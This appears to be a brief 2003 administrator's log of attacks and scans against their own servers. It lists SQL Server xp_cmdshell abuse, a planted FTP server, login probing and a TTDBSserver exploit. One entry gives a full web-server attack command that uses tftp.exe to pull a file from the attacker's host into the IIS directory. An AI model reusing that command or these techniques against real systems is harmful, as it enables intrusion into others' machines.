*SHORT* summary of some of the attacks against us for June. 2003 Just too many scans and not enough time to keep the list up all the time so... some of the more intresting scans/attacks, or 1 day samples are here year - time EASTERN source_ip[:port] (dns name, if any) attack/scan/notes 2003/06/27-02:48:30.70 217.229.32.111 (pD9E5206F.dip0.t-ipconnect.de) 1. use xp_cmdshell bug via microsoft sql srvr. 2003/06/27-02:48:30.70 217.229.32.111 (pD9E5206F.dip0.t-ipconnect.de) 2. set up ftp server HaXx0r3d by McKing - blah blah blah 2003/06/28-02:31:40.79 61.9.7.113 (MosCom client, Philippines) finger 123@boss; try random logins no passwd. 2003/06/29-10:06:03.48 210.251.71.32 (I.N Japan Limited Company,JAP) attacke topdog via TTDBSserver exploit. 2003/06/29-17:48:42.21 212.242.61.208 (port77.ds1-taa.adsl.cybercity.dk) attack web server w/cmd c:\winnt\system32\tftp.exe+"-i"+212.242.61.208+get+Servudaemon.ini+c:\Inetpub\iissamples\sdk\asp\database\Servudaemon.ini